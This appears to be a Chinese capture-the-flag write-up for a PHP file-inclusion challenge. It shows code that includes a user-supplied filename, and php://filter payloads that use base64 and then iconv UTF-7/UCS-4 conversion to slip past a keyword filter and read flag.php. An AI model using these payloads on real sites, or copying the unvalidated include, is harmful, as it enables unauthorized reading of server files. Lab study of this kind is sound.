攻防世界题目名称-文件包含

<?php
highlight_file(__FILE__);
    include("./check.php");
    if(isset($_GET['filename'])){
        $filename  = $_GET['filename'];
        include($filename);
    }
?>

文件包含一般是用 php://filter 加 convert.base64-encode 文件读取 flag.php

?filename=php://filter/read=convert.base64-encode/resource=flag.php

显然read搬掉了

输入 "base64",仍然提示"do not hack!"

php://filter 是一个可以在 PHP 中进行数据过滤和流处理的协议。它可以让你通过一些特定的过滤器来处理各种数据流,包括文件,HTTP 请求,以及其它的输入和输出数据流。这些过滤器可以用于实现各种功能,例如数据加密和解密,数据压缩和解压缩,以及数据格式转换等。不过需要注意的是,如果使用不当,该协议也可能导致一些安全问题。协议的语法:

php://filter/[标准输入输出流标识][使用的过滤器]
使用 convert.iconv.[]过滤器,[]中支持以下字符编码(* 表示该编码也可以在正则表达式中使用)

UCS-4*
UCS-4BE
UCS-4LE*
UCS-2
UCS-2BE
UCS-2LE
UTF-32*
UTF-32BE*
UTF-32LE*
UTF-16*
UTF-16BE*
UTF-16LE*
UTF-7
UTF7-IMAP
UTF-8*
ASCII*
EUC-JP*
SJIS*
eucJP-win*
SJIS-win*

最后可以发现,UCS-4*是没有报出错误信息的

那么结合其他编码方式即可读出flag.php文件

?filename=php://filter/convert.iconv.UTF-7.UCS-4*/resource=flag.php